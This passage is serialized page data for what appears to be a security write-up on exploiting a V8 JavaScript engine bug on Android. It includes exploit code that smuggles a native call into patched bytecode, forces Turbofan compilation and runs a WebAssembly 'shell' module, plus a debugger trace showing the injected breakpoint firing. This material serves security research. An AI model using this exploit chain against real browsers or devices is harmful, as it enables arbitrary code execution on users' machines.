133693],{"type":28,"value":1052},{"type":23,"tag":139,"props":133695,"children":133696},{"style":1016},[133697],{"type":28,"value":2021},{"type":23,"tag":139,"props":133699,"children":133700},{"style":259},[133701],{"type":28,"value":1052},{"type":23,"tag":139,"props":133703,"children":133704},{"style":1016},[133705],{"type":28,"value":2021},{"type":23,"tag":139,"props":133707,"children":133708},{"style":259},[133709],{"type":28,"value":1052},{"type":23,"tag":139,"props":133711,"children":133712},{"style":1016},[133713],{"type":28,"value":2021},{"type":23,"tag":139,"props":133715,"children":133716},{"style":259},[133717],{"type":28,"value":1052},{"type":23,"tag":139,"props":133719,"children":133720},{"style":1016},[133721],{"type":28,"value":2021},{"type":23,"tag":139,"props":133723,"children":133724},{"style":259},[133725],{"type":28,"value":1052},{"type":23,"tag":139,"props":133727,"children":133728},{"style":1016},[133729],{"type":28,"value":2021},{"type":23,"tag":139,"props":133731,"children":133732},{"style":259},[133733],{"type":28,"value":1052},{"type":23,"tag":139,"props":133735,"children":133736},{"style":1016},[133737],{"type":28,"value":2021},{"type":23,"tag":139,"props":133739,"children":133740},{"style":259},[133741],{"type":28,"value":1052},{"type":23,"tag":139,"props":133743,"children":133744},{"style":1016},[133745],{"type":28,"value":2021},{"type":23,"tag":139,"props":133747,"children":133748},{"style":259},[133749],{"type":28,"value":1052},{"type":23,"tag":139,"props":133751,"children":133752},{"style":1016},[133753],{"type":28,"value":2021},{"type":23,"tag":139,"props":133755,"children":133756},{"style":259},[133757],{"type":28,"value":1052},{"type":23,"tag":139,"props":133759,"children":133760},{"style":1016},[133761],{"type":28,"value":2021},{"type":23,"tag":139,"props":133763,"children":133764},{"style":259},[133765],{"type":28,"value":1052},{"type":23,"tag":139,"props":133767,"children":133768},{"style":1016},[133769],{"type":28,"value":2021},{"type":23,"tag":139,"props":133771,"children":133772},{"style":259},[133773],{"type":28,"value":1052},{"type":23,"tag":139,"props":133775,"children":133776},{"style":1016},[133777],{"type":28,"value":2021},{"type":23,"tag":139,"props":133779,"children":133780},{"style":259},[133781],{"type":28,"value":1052},{"type":23,"tag":139,"props":133783,"children":133784},{"style":1016},[133785],{"type":28,"value":2021},{"type":23,"tag":139,"props":133787,"children":133788},{"style":259},[133789],{"type":28,"value":1052},{"type":23,"tag":139,"props":133791,"children":133792},{"style":1016},[133793],{"type":28,"value":27445},{"type":23,"tag":139,"props":133795,"children":133796},{"style":259},[133797],{"type":28,"value":1052},{"type":23,"tag":139,"props":133799,"children":133800},{"style":1016},[133801],{"type":28,"value":133354},{"type":23,"tag":139,"props":133803,"children":133804},{"style":259},[133805],{"type":28,"value":1052},{"type":23,"tag":139,"props":133807,"children":133808},{"style":1016},[133809],{"type":28,"value":133810},"198",{"type":23,"tag":139,"props":133812,"children":133813},{"style":259},[133814],{"type":28,"value":1052},{"type":23,"tag":139,"props":133816,"children":133817},{"style":1016},[133818],{"type":28,"value":2021},{"type":23,"tag":139,"props":133820,"children":133821},{"style":259},[133822],{"type":28,"value":1488},{"type":23,"tag":139,"props":133824,"children":133825},{"class":141,"line":1597},[133826],{"type":23,"tag":139,"props":133827,"children":133828},{"style":259},[133829],{"type":28,"value":132388},{"type":23,"tag":139,"props":133831,"children":133832},{"class":141,"line":1614},[133833,133837,133842,133846,133851,133855,133859,133863,133867,133871,133875],{"type":23,"tag":139,"props":133834,"children":133835},{"style":279},[133836],{"type":28,"value":5859},{"type":23,"tag":139,"props":133838,"children":133839},{"style":294},[133840],{"type":28,"value":133841}," r",{"type":23,"tag":139,"props":133843,"children":133844},{"style":982},[133845],{"type":28,"value":985},{"type":23,"tag":139,"props":133847,"children":133848},{"style":245},[133849],{"type":28,"value":133850}," bug",{"type":23,"tag":139,"props":133852,"children":133853},{"style":259},[133854],{"type":28,"value":262},{"type":23,"tag":139,"props":133856,"children":133857},{"style":294},[133858],{"type":28,"value":131719},{"type":23,"tag":139,"props":133860,"children":133861},{"style":259},[133862],{"type":28,"value":1052},{"type":23,"tag":139,"props":133864,"children":133865},{"style":294},[133866],{"type":28,"value":123046},{"type":23,"tag":139,"props":133868,"children":133869},{"style":259},[133870],{"type":28,"value":73},{"type":23,"tag":139,"props":133872,"children":133873},{"style":294},[133874],{"type":28,"value":123046},{"type":23,"tag":139,"props":133876,"children":133877},{"style":259},[133878],{"type":28,"value":1820},{"type":23,"tag":139,"props":133880,"children":133881},{"class":141,"line":1627},[133882,133887,133891,133895,133899,133903,133907,133911,133916,133920],{"type":23,"tag":139,"props":133883,"children":133884},{"style":294},[133885],{"type":28,"value":133886},"  result",{"type":23,"tag":139,"props":133888,"children":133889},{"style":982},[133890],{"type":28,"value":985},{"type":23,"tag":139,"props":133892,"children":133893},{"style":259},[133894],{"type":28,"value":1042},{"type":23,"tag":139,"props":133896,"children":133897},{"style":319},[133898],{"type":28,"value":30804},{"type":23,"tag":139,"props":133900,"children":133901},{"style":294},[133902],{"type":28,"value":133841},{"type":23,"tag":139,"props":133904,"children":133905},{"style":259},[133906],{"type":28,"value":73},{"type":23,"tag":139,"props":133908,"children":133909},{"style":245},[133910],{"type":28,"value":55464},{"type":23,"tag":139,"props":133912,"children":133913},{"style":259},[133914],{"type":28,"value":133915},"()).",{"type":23,"tag":139,"props":133917,"children":133918},{"style":294},[133919],{"type":28,"value":37042},{"type":23,"tag":139,"props":133921,"children":133922},{"style":259},[133923],{"type":28,"value":995},{"type":23,"tag":139,"props":133925,"children":133926},{"class":141,"line":1636},[133927,133931,133936,133940,133944,133948,133952,133956,133960,133964],{"type":23,"tag":139,"props":133928,"children":133929},{"style":279},[133930],{"type":28,"value":34078},{"type":23,"tag":139,"props":133932,"children":133933},{"style":294},[133934],{"type":28,"value":133935}," wasm_instance",{"type":23,"tag":139,"props":133937,"children":133938},{"style":982},[133939],{"type":28,"value":985},{"type":23,"tag":139,"props":133941,"children":133942},{"style":279},[133943],{"type":28,"value":29820},{"type":23,"tag":139,"props":133945,"children":133946},{"style":294},[133947],{"type":28,"value":131702},{"type":23,"tag":139,"props":133949,"children":133950},{"style":259},[133951],{"type":28,"value":73},{"type":23,"tag":139,"props":133953,"children":133954},{"style":245},[133955],{"type":28,"value":131756},{"type":23,"tag":139,"props":133957,"children":133958},{"style":259},[133959],{"type":28,"value":262},{"type":23,"tag":139,"props":133961,"children":133962},{"style":294},[133963],{"type":28,"value":7089},{"type":23,"tag":139,"props":133965,"children":133966},{"style":259},[133967],{"type":28,"value":1820},{"type":23,"tag":139,"props":133969,"children":133970},{"class":141,"line":1659},[133971,133975,133979,133983,133987,133991,133995,133999,134003],{"type":23,"tag":139,"props":133972,"children":133973},{"style":279},[133974],{"type":28,"value":34078},{"type":23,"tag":139,"props":133976,"children":133977},{"style":294},[133978],{"type":28,"value":30859},{"type":23,"tag":139,"props":133980,"children":133981},{"style":982},[133982],{"type":28,"value":985},{"type":23,"tag":139,"props":133984,"children":133985},{"style":294},[133986],{"type":28,"value":133935},{"type":23,"tag":139,"props":133988,"children":133989},{"style":259},[133990],{"type":28,"value":73},{"type":23,"tag":139,"props":133992,"children":133993},{"style":294},[133994],{"type":28,"value":35776},{"type":23,"tag":139,"props":133996,"children":133997},{"style":259},[133998],{"type":28,"value":73},{"type":23,"tag":139,"props":134000,"children":134001},{"style":294},[134002],{"type":28,"value":131805},{"type":23,"tag":139,"props":134004,"children":134005},{"style":259},[134006],{"type":28,"value":995},{"type":23,"tag":139,"props":134008,"children":134009},{"class":141,"line":1667},[134010,134015],{"type":23,"tag":139,"props":134011,"children":134012},{"style":245},[134013],{"type":28,"value":134014},"  f",{"type":23,"tag":139,"props":134016,"children":134017},{"style":259},[134018],{"type":28,"value":1656},{"type":23,"tag":139,"props":134020,"children":134021},{"class":141,"line":1676},[134022],{"type":23,"tag":139,"props":134023,"children":134024},{"style":259},[134025],{"type":28,"value":99889},{"type":23,"tag":24,"props":134027,"children":134028},{},[134029],{"type":28,"value":134030},"Running this in a debugger shows the expected breakpoint:",{"type":23,"tag":128,"props":134032,"children":134034},{"code":134033},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[134035],{"type":23,"tag":135,"props":134036,"children":134037},{"__ignoreMap":7},[134038],{"type":28,"value":134033},{"type":23,"tag":666,"props":134040,"children":134042},{"id":134041},"porting-to-android",[134043],{"type":28,"value":134044},"Porting to Android",{"type":23,"tag":24,"props":134046,"children":134047},{},[134048,134050,134055,134057,134062,134064,134069,134071,134077],{"type":28,"value":134049},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":23,"tag":135,"props":134051,"children":134053},{"className":134052},[],[134054],{"type":28,"value":130834},{"type":28,"value":134056}," fails. We cross-compiled ",{"type":23,"tag":135,"props":134058,"children":134060},{"className":134059},[],[134061],{"type":28,"value":129993},{"type":28,"value":134063}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":23,"tag":135,"props":134065,"children":134067},{"className":134066},[],[134068],{"type":28,"value":130834},{"type":28,"value":134070}," returned ",{"type":23,"tag":135,"props":134072,"children":134074},{"className":134073},[],[134075],{"type":28,"value":134076},"undefined",{"type":28,"value":73},{"type":23,"tag":24,"props":134079,"children":134080},{},[134081,134083,134088,134090,134095],{"type":28,"value":134082},"Instead, we modified the bytecode to call ",{"type":23,"tag":135,"props":134084,"children":134086},{"className":134085},[],[134087],{"type":28,"value":130860},{"type":28,"value":134089}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":23,"tag":135,"props":134091,"children":134093},{"className":134092},[],[134094],{"type":28,"value":130834},{"type":28,"value":73},{"type":23,"tag":128,"props":134097,"children":134099},{"code":134098,"language":33505,"meta":7,"className":33503,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[134100],{"type":23,"tag":135,"props":134101,"children":134102},{"__ignoreMap":7},[134103,134114,134158,134178,134194,134217,134244,134259],{"type":23,"tag":139,"props":134104,"children":134105},{"class":141,"line":142},[134106,134110],{"type":23,"tag":139,"props":134107,"children":134108},{"style":319},[134109],{"type":28,"value":46228},{"type":23,"tag":139,"props":134111,"children":134112},{"style":259},[134113],{"type":28,"value":1268},{"type":23,"tag":139,"props":134115,"children":134116},{"class":141,"line":151},[134117,134121,134125,134129,134133,134137,134141,134146,134150,134154],{"type":23,"tag":139,"props":134118,"children":134119},{"style":294},[134120],{"type":28,"value":131101},{"type":23,"tag":139,"props":134122,"children":134123},{"style":259},[134124],{"type":28,"value":74522},{"type":23,"tag":139,"props":134126,"children":134127},{"style":265},[134128],{"type":28,"value":131110},{"type":23,"tag":139,"props":134130,"children":134131},{"style":259},[134132],{"type":28,"value":73},{"type":23,"tag":139,"props":134134,"children":134135},{"style":245},[134136],{"type":28,"value":131119},{"type":23,"tag":139,"props":134138,"children":134139},{"style":259},[134140],{"type":28,"value":262},{"type":23,"tag":139,"props":134142,"children":134143},{"style":1016},[134144],{"type":28,"value":134145},"0x059301",{"type":23,"tag":139,"props":134147,"children":134148},{"style":982},[134149],{"type":28,"value":49153},{"type":23,"tag":139,"props":134151,"children":134152},{"style":1016},[134153],{"type":28,"value":2525},{"type":23,"tag":139,"props":134155,"children":134156},{"style":259},[134157],{"type":28,"value":131141},{"type":23,"tag":139,"props":134159,"children":134160},{"class":141,"line":160},[134161,134165,134169,134174],{"type":23,"tag":139,"props":134162,"children":134163},{"style":294},[134164],{"type":28,"value":131149},{"type":23,"tag":139,"props":134166,"children":134167},{"style":982},[134168],{"type":28,"value":6910},{"type":23,"tag":139,"props":134170,"children":134171},{"style":1016},[134172],{"type":28,"value":134173}," 0x03027a6c",{"type":23,"tag":139,"props":134175,"children":134176},{"style":259},[134177],{"type":28,"value":995},{"type":23,"tag":139,"props":134179,"children":134180},{"class":141,"line":169},[134181,134185,134190],{"type":23,"tag":139,"props":134182,"children":134183},{"style":319},[134184],{"type":28,"value":33091},{"type":23,"tag":139,"props":134186,"children":134187},{"style":1016},[134188],{"type":28,"value":134189}," 0x393e71a",{"type":23,"tag":139,"props":134191,"children":134192},{"style":259},[134193],{"type":28,"value":995},{"type":23,"tag":139,"props":134195,"children":134196},{"class":141,"line":178},[134197,134201,134205,134209,134213],{"type":23,"tag":139,"props":134198,"children":134199},{"style":259},[134200],{"type":28,"value":44770},{"type":23,"tag":139,"props":134202,"children":134203},{"style":319},[134204],{"type":28,"value":46308},{"type":23,"tag":139,"props":134206,"children":134207},{"style":259},[134208],{"type":28,"value":1042},{"type":23,"tag":139,"props":134210,"children":134211},{"style":294},[134212],{"type":28,"value":49352},{"type":23,"tag":139,"props":134214,"children":134215},{"style":259},[134216],{"type":28,"value":12815},{"type":23,"tag":139,"props":134218,"children":134219},{"class":141,"line":187},[134220,134224,134228,134232,134236,134240],{"type":23,"tag":139,"props":134221,"children":134222},{"style":294},[134223],{"type":28,"value":99848},{"type":23,"tag":139,"props":134225,"children":134226},{"style":259},[134227],{"type":28,"value":73},{"type":23,"tag":139,"props":134229,"children":134230},{"style":245},[134231],{"type":28,"value":99857},{"type":23,"tag":139,"props":134233,"children":134234},{"style":259},[134235],{"type":28,"value":262},{"type":23,"tag":139,"props":134237,"children":134238},{"style":265},[134239],{"type":28,"value":131225},{"type":23,"tag":139,"props":134241,"children":134242},{"style":259},[134243],{"type":28,"value":1820},{"type":23,"tag":139,"props":134245,"children":134246},{"class":141,"line":196},[134247,134251,134255],{"type":23,"tag":139,"props":134248,"children":134249},{"style":319},[134250],{"type":28,"value":131237},{"type":23,"tag":139,"props":134252,"children":134253},{"style":294},[134254],{"type":28,"value":131242},{"type":23,"tag":139,"props":134256,"children":134257},{"style":259},[134258],{"type":28,"value":995},{"type":23,"tag":139,"props":134260,"children":134261},{"class":141,"line":205},[134262],{"type":23,"tag":139,"props":134263,"children":134264},{"style":259},[134265],{"type":28,"value":1897},{"type":23,"tag":24,"props":134267,"children":134268},{},[134269,134271,134277,134279,134285,134287,134293,134295,134300,134302,134308,134310,134315,134316,134322],{"type":28,"value":134270},"Here, ",{"type":23,"tag":135,"props":134272,"children":134274},{"className":134273},[],[134275],{"type":28,"value":134276},"a1 + 0x03027a6c",{"type":28,"value":134278}," generates the bytes ",{"type":23,"tag":135,"props":134280,"children":134282},{"className":134281},[],[134283],{"type":28,"value":134284},"01 4b 6c 7a 02 03",{"type":28,"value":134286},", where ",{"type":23,"tag":135,"props":134288,"children":134290},{"className":134289},[],[134291],{"type":28,"value":134292},"0x6c",{"type":28,"value":134294}," is the ",{"type":23,"tag":135,"props":134296,"children":134298},{"className":134297},[],[134299],{"type":28,"value":130818},{"type":28,"value":134301}," opcode, ",{"type":23,"tag":135,"props":134303,"children":134305},{"className":134304},[],[134306],{"type":28,"value":134307},"0x027a",{"type":28,"value":134309}," is the function ID of ",{"type":23,"tag":135,"props":134311,"children":134313},{"className":134312},[],[134314],{"type":28,"value":130860},{"type":28,"value":4490},{"type":23,"tag":135,"props":134317,"children":134319},{"className":134318},[],[134320],{"type":28,"value":134321},"0x03",{"type":28,"value":134323}," is the register index holding its first argument.",{"type":23,"tag":24,"props":134325,"children":134326},{},[134327,134329,134334,134335,134340,134342,134347],{"type":28,"value":134328},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":23,"tag":135,"props":134330,"children":134332},{"className":134331},[],[134333],{"type":28,"value":130860},{"type":28,"value":9002},{"type":23,"tag":135,"props":134336,"children":134338},{"className":134337},[],[134339],{"type":28,"value":131828},{"type":28,"value":134341},". To avoid patching the bytecode again to invoke ",{"type":23,"tag":135,"props":134343,"children":134345},{"className":134344},[],[134346],{"type":28,"value":131828},{"type":28,"value":134348},", we can force Turbofan to compile the target function like this:",{"type":23,"tag":128,"props":134350,"children":134352},{"code":134351,"language":33505,"meta":7,"className":33503,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[134353],{"type":23,"tag":135,"props":134354,"children":134355},{"__ignoreMap":7},[134356,134364,134424,134436],{"type":23,"tag":139,"props":134357,"children":134358},{"class":141,"line":142},[134359],{"type":23,"tag":139,"props":134360,"children":134361},{"style":958},[134362],{"type":28,"value":134363},"// %WasmTierUpFunction(func);\n",{"type":23,"tag":139,"props":134365,"children":134366},{"class":141,"line":151},[134367,134371,134375,134379,134383,134387,134391,134395,134399,134403,134408,134412,134416,134420],{"type":23,"tag":139,"props":134368,"children":134369},{"style":319},[134370],{"type":28,"value":1373},{"type":23,"tag":139,"props":134372,"children":134373},{"style":259},[134374],{"type":28,"value":1042},{"type":23,"tag":139,"props":134376,"children":134377},{"style":279},[134378],{"type":28,"value":9798},{"type":23,"tag":139,"props":134380,"children":134381},{"style":294},[134382],{"type":28,"value":1378},{"type":23,"tag":139,"props":134384,"children":134385},{"style":982},[134386],{"type":28,"value":985},{"type":23,"tag":139,"props":134388,"children":134389},{"style":1016},[134390],{"type":28,"value":1019},{"type":23,"tag":139,"props":134392,"children":134393},{"style":259},[134394],{"type":28,"value":15239},{"type":23,"tag":139,"props":134396,"children":134397},{"style":294},[134398],{"type":28,"value":1728},{"type":23,"tag":139,"props":134400,"children":134401},{"style":982},[134402],{"type":28,"value":6724},{"type":23,"tag":139,"props":134404,"children":134405},{"style":1016},[134406],{"type":28,"value":134407}," 0x100000",{"type":23,"tag":139,"props":134409,"children":134410},{"style":259},[134411],{"type":28,"value":15239},{"type":23,"tag":139,"props":134413,"children":134414},{"style":294},[134415],{"type":28,"value":1728},{"type":23,"tag":139,"props":134417,"children":134418},{"style":982},[134419],{"type":28,"value":49167},{"type":23,"tag":139,"props":134421,"children":134422},{"style":259},[134423],{"type":28,"value":12815},{"type":23,"tag":139,"props":134425,"children":134426},{"class":141,"line":160},[134427,134432],{"type":23,"tag":139,"props":134428,"children":134429},{"style":245},[134430],{"type":28,"value":134431},"  func",{"type":23,"tag":139,"props":134433,"children":134434},{"style":259},[134435],{"type":28,"value":1656},{"type":23,"tag":139,"props":134437,"children":134438},{"class":141,"line":169},[134439],{"type":23,"tag":139,"props":134440,"children":134441},{"style":259},[134442],{"type":28,"value":1897},{"type":23,"tag":24,"props":134444,"children":134445},{},[134446],{"type":28,"value":134447},"Finally, running this code on the device:",{"type":23,"tag":128,"props":134449,"children":134451},{"code":134450,"language":33505,"meta":7,"className":33503,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[134452],{"type":23,"tag":135,"props":134453,"children":134454},{"__ignoreMap":7},[134455,134478,134506,134725,134792,134799,134842,134885,134924,134931,134939,134999,135011,135018,135025,135056,135099,135126,135133,135169,135232],{"type":23,"tag":139,"props":134456,"children":134457},{"class":141,"line":142},[134458,134462,134466,134470,134474],{"type":23,"tag":139,"props":134459,"children":134460},{"style":259},[134461],{"type":28,"value":262},{"type":23,"tag":139,"props":134463,"children":134464},{"style":279},[134465],{"type":28,"value":34035},{"type":23,"tag":139,"props":134467,"children":134468},{"style":259},[134469],{"type":28,"value":37587},{"type":23,"tag":139,"props":134471,"children":134472},{"style":279},[134473],{"type":28,"value":12833},{"type":23,"tag":139,"props":134475,"children":134476},{"style":259},[134477],{"type":28,"value":1268},{"type":23,"tag":139,"props":134479,"children":134480},{"class":141,"line":151},[134481,134486,134490,134494,134498,134502],{"type":23,"tag":139,"props":134482,"children":134483},{"style":279},[134484],{"type":28,"value":134485},"  var",{"type":23,"tag":139,"props":134487,"children":134488},{"style":294},[134489],{"type":28,"value":131358},{"type":23,"tag":139,"props":134491,"children":134492},{"style":982},[134493],{"type":28,"value":985},{"type":23,"tag":139,"props":134495,"children":134496},{"style":279},[134497],{"type":28,"value":29820},{"type":23,"tag":139,"props":134499,"children":134500},{"style":245},[134501],{"type":28,"value":131371},{"type":23,"tag":139,"props":134503,"children":134504},{"style":259},[134505],{"type":28,"value":131376},{"type":23,"tag":139,"props":134507,"children":134508},{"class":141,"line":160},[134509,134513,134517,134521,134525,134529,134533,134537,134541,134545,134549,134553,134557,134561,134565,134569,134573,134577,134581,134585,134589,134593,134597,134601,134605,134609,134613,134617,134621,134625,134629,134633,134637,134641,134645,134649,134653,134657,134661,134665,134669,134673,134677,134681,134685,134689,134693,134697,134701,134705,134709,134713,134717,134721],{"type":23,"tag":139,"props":134510,"children":134511},{"style":1016},[134512],{"type":28,"value":132101},{"type":23,"tag":139,"props":134514,"children":134515},{"style":259},[134516],{"type":28,"value":1052},{"type":23,"tag":139,"props":134518,"children":134519},{"style":1016},[134520],{"type":28,"value":131393},{"type":23,"tag":139,"props":134522,"children":134523},{"style":259},[134524],{"type":28,"value":1052},{"type":23,"tag":139,"props":134526,"children":134527},{"style":1016},[134528],{"type":28,"value":131402},{"type":23,"tag":139,"props":134530,"children":134531},{"style":259},[134532],{"type":28,"value":1052},{"type":23,"tag":139,"props":134534,"children":134535},{"style":1016},[134536],{"type":28,"value":131411},{"type":23,"tag":139,"props":134538,"children":134539},{"style":259},[134540],{"type":28,"value":1052},{"type":23,"tag":139,"props":134542,"children":134543},{"style":1016},[134544],{"type":28,"value":647},{"type":23,"tag":139,"props":134546,"children":134547},{"style":259},[134548],{"type":28,"value":1052},{"type":23,"tag":139,"props":134550,"children":134551},{"style":1016},[134552],{"type":28,"value":2021},{"type":23,"tag":139,"props":134554,"children":134555},{"style":259},[134556],{"type":28,"value":1052},{"type":23,"tag":139,"props":134558,"children":134559},{"style":1016},[134560],{"type":28,"value":2021},{"type":23,"tag":139,"props":134562,"children":134563},{"style":259},[134564],{"type":28,"value":1052},{"type":23,"tag":139,"props":134566,"children":134567},{"style":1016},[134568],{"type":28,"value":2021},{"type":23,"tag":139,"props":134570,"children":134571},{"style":259},[134572],{"type":28,"value":1052},{"type":23,"tag":139,"props":134574,"children":134575},{"style":1016},[134576],{"type":28,"value":647},{"type":23,"tag":139,"props":134578,"children":134579},{"style":259},[134580],{"type":28,"value":1052},{"type":23,"tag":139,"props":134582,"children":134583},{"style":1016},[134584],{"type":28,"value":15541},{"type":23,"tag":139,"props":134586,"children":134587},{"style":259},[134588],{"type":28,"value":1052},{"type":23,"tag":139,"props":134590,"children":134591},{"style":1016},[134592],{"type":28,"value":647},{"type":23,"tag":139,"props":134594,"children":134595},{"style":259},[134596],{"type":28,"value":1052},{"type":23,"tag":139,"props":134598,"children":134599},{"style":1016},[134600],{"type":28,"value":131476},{"type":23,"tag":139,"props":134602,"children":134603},{"style":259},[134604],{"type":28,"value":1052},{"type":23,"tag":139,"props":134606,"children":134607},{"style":1016},[134608],{"type":28,"value":2021},{"type":23,"tag":139,"props":134610,"children":134611},{"style":259},[134612],{"type":28,"value":1052},{"type":23,"tag":139,"props":134614,"children":134615},{"style":1016},[134616],{"type":28,"value":2021},{"type":23,"tag":139,"props":134618,"children":134619},{"style":259},[134620],{"type":28,"value":1052},{"type":23,"tag":139,"props":134622,"children":134623},{"style":1016},[134624],{"type":28,"value":15308},{"type":23,"tag":139,"props":134626,"children":134627},{"style":259},[134628],{"type":28,"value":1052},{"type":23,"tag":139,"props":134630,"children":134631},{"style":1016},[134632],{"type":28,"value":1099},{"type":23,"tag":139,"props":134634,"children":134635},{"style":259},[134636],{"type":28,"value":1052},{"type":23,"tag":139,"props":134638,"children":134639},{"style":1016},[134640],{"type":28,"value":647},{"type":23,"tag":139,"props":134642,"children":134643},{"style":259},[134644],{"type":28,"value":1052},{"type":23,"tag":139,"props":134646,"children":134647},{"style":1016},[134648],{"type":28,"value":2021},{"type":23,"tag":139,"props":134650,"children":134651},{"style":259},[134652],{"type":28,"value":1052},{"type":23,"tag":139,"props":134654,"children":134655},{"style":1016},[134656],{"type":28,"value":52569},{"type":23,"tag":139,"props":134658,"children":134659},{"style":259},[134660],{"type":28,"value":1052},{"type":23,"tag":139,"props":134662,"children":134663},{"style":1016},[134664],{"type":28,"value":53784},{"type":23,"tag":139,"props":134666,"children":134667},{"style":259},[134668],{"type":28,"value":1052},{"type":23,"tag":139,"props":134670,"children":134671},{"style":1016},[134672],{"type":28,"value":647},{"type":23,"tag":139,"props":134674,"children":134675},{"style":259},[134676],{"type":28,"value":1052},{"type":23,"tag":139,"props":134678,"children":134679},{"style":1016},[134680],{"type":28,"value":16122},{"type":23,"tag":139,"props":134682,"children":134683},{"style":259},[134684],{"type":28,"value":1052},{"type":23,"tag":139,"props":134686,"children":134687},{"style":1016},[134688],{"type":28,"value":131402},{"type":23,"tag":139,"props":134690,"children":134691},{"style":259},[134692],{"type":28,"value":1052},{"type":23,"tag":139,"props":134694,"children":134695},{"style":1016},[134696],{"type":28,"value":131573},{"type":23,"tag":139,"props":134698,"children":134699},{"style":259},[134700],{"type":28,"value":1052},{"type":23,"tag":139,"props":134702,"children":134703},{"style":1016},[134704],{"type":28,"value":131582},{"type":23,"tag":139,"props":134706,"children":134707},{"style":259},[134708],{"type":28,"value":1052},{"type":23,"tag":139,"props":134710,"children":134711},{"style":1016},[134712],{"type":28,"value":131591},{"type":23,"tag":139,"props":134714,"children":134715},{"style":259},[134716],{"type":28,"value":1052},{"type":23,"tag":139,"props":134718,"children":134719},{"style":1016},[134720],{"type":28,"value":131591},{"type":23,"tag":139,"props":134722,"children":134723},{"style":259},[134724],{"type":28,"value":1488},{"type":23,"tag":139,"props":134726,"children":134727},{"class":141,"line":169},[134728,134732,134736,134740,134744,134748,134752,134756,134760,134764,134768,134772,134776,134780,134784,134788],{"type":23,"tag":139,"props":134729,"children":134730},{"style":1016},[134731],{"type":28,"value":132101},{"type":23,"tag":139,"props":134733,"children":134734},{"style":259},[134735],{"type":28,"value":1052},{"type":23,"tag":139,"props":134737,"children":134738},{"style":1016},[134739],{"type":28,"value":2021},{"type":23,"tag":139,"props":134741,"children":134742},{"style":259},[134743],{"type":28,"value":1052},{"type":23,"tag":139,"props":134745,"children":134746},{"style":1016},[134747],{"type":28,"value":87157},{"type":23,"tag":139,"props":134749,"children":134750},{"style":259},[134751],{"type":28,"value":1052},{"type":23,"tag":139,"props":134753,"children":134754},{"style":1016},[134755],{"type":28,"value":15541},{"type":23,"tag":139,"props":134757,"children":134758},{"style":259},[134759],{"type":28,"value":1052},{"type":23,"tag":139,"props":134761,"children":134762},{"style":1016},[134763],{"type":28,"value":647},{"type":23,"tag":139,"props":134765,"children":134766},{"style":259},[134767],{"type":28,"value":1052},{"type":23,"tag":139,"props":134769,"children":134770},{"style":1016},[134771],{"type":28,"value":1099},{"type":23,"tag":139,"props":134773,"children":134774},{"style":259},[134775],{"type":28,"value":1052},{"type":23,"tag":139,"props":134777,"children":134778},{"style":1016},[134779],{"type":28,"value":2021},{"type":23,"tag":139,"props":134781,"children":134782},{"style":259},[134783],{"type":28,"value":1052},{"type":23,"tag":139,"props":134785,"children":134786},{"style":1016},[134787],{"type":28,"value":131667},{"type":23,"tag":139,"props":134789,"children":134790},{"style":259},[134791],{"type":28,"value":1488},{"type":23,"tag":139,"props":134793,"children":134794},{"class":141,"line":178},[134795],{"type":23,"tag":139,"props":134796,"children":134797},{"style":259},[134798],{"type":28,"value":132388},{"type":23,"tag":139,"props":134800,"children":134801},{"class":141,"line":187},[134802,134806,134810,134814,134818,134822,134826,134830,134834,134838],{"type":23,"tag":139,"props":134803,"children":134804},{"style":279},[134805],{"type":28,"value":134485},{"type":23,"tag":139,"props":134807,"children":134808},{"style":294},[134809],{"type":28,"value":69526},{"type":23,"tag":139,"props":134811,"children":134812},{"style":982},[134813],{"type":28,"value":985},{"type":23,"tag":139,"props":134815,"children":134816},{"style":279},[134817],{"type":28,"value":29820},{"type":23,"tag":139,"props":134819,"children":134820},{"style":294},[134821],{"type":28,"value":131702},{"type":23,"tag":139,"props":134823,"children":134824},{"style":259},[134825],{"type":28,"value":73},{"type":23,"tag":139,"props":134827,"children":134828},{"style":245},[134829],{"type":28,"value":83823},{"type":23,"tag":139,"props":134831,"children":134832},{"style":259},[134833],{"type":28,"value":262},{"type":23,"tag":139,"props":134835,"children":134836},{"style":294},[134837],{"type":28,"value":131719},{"type":23,"tag":139,"props":134839,"children":134840},{"style":259},[134841],{"type":28,"value":1820},{"type":23,"tag":139,"props":134843,"children":134844},{"class":141,"line":196},[134845,134849,134853,134857,134861,134865,134869,134873,134877,134881],{"type":23,"tag":139,"props":134846,"children":134847},{"style":279},[134848],{"type":28,"value":134485},{"type":23,"tag":139,"props":134850,"children":134851},{"style":294},[134852],{"type":28,"value":131735},{"type":23,"tag":139,"props":134854,"children":134855},{"style":982},[134856],{"type":28,"value":985},{"type":23,"tag":139,"props":134858,"children":134859},{"style":279},[134860],{"type":28,"value":29820},{"type":23,"tag":139,"props":134862,"children":134863},{"style":294},[134864],{"type":28,"value":131702},{"type":23,"tag":139,"props":134866,"children":134867},{"style":259},[134868],{"type":28,"value":73},{"type":23,"tag":139,"props":134870,"children":134871},{"style":245},[134872],{"type":28,"value":131756},{"type":23,"tag